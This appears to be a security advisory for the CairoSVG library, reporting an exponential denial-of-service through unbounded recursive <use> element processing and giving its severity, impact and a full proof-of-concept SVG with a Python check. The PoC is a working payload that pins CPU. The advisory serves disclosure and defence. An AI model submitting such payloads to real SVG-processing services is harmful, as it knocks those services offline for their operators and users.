CairoSVG vulnerable to Exponential DoS via recursive <use> element amplification

Summary

Kozea/CairoSVG (~300K downloads/week) has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py (line ~335). This causes CPU exhaustion from a small input.

Severity

High — CVSS 3.1: 7.5 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vulnerable Code

File: cairosvg/defs.py (line ~335), function use()

The use() function recursively processes <use> elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.

Impact

• 1,411-byte SVG payload pins CPU at 100% indefinitely
• Memory stays flat at ~43MB — no OOM kill, process never terminates
• Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able
• Amplification factor: O(10^N) rendering calls from O(N) input

Proof of Concept

Save as poc.svg and run timeout 10 cairosvg poc.svg -o test.png:

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <defs>
    <g id="a"><rect width="1" height="1"/></g>
    <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
    <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
    <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
    <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
  </defs>
  <use xlink:href="#e"/>
</svg>

Expected: timeout kills the process after 10 seconds (it never completes on its own).

Alternatively test with Python:

import cairosvg, signal
signal.alarm(5)  # Kill after 5 seconds
try:
    cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
    print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")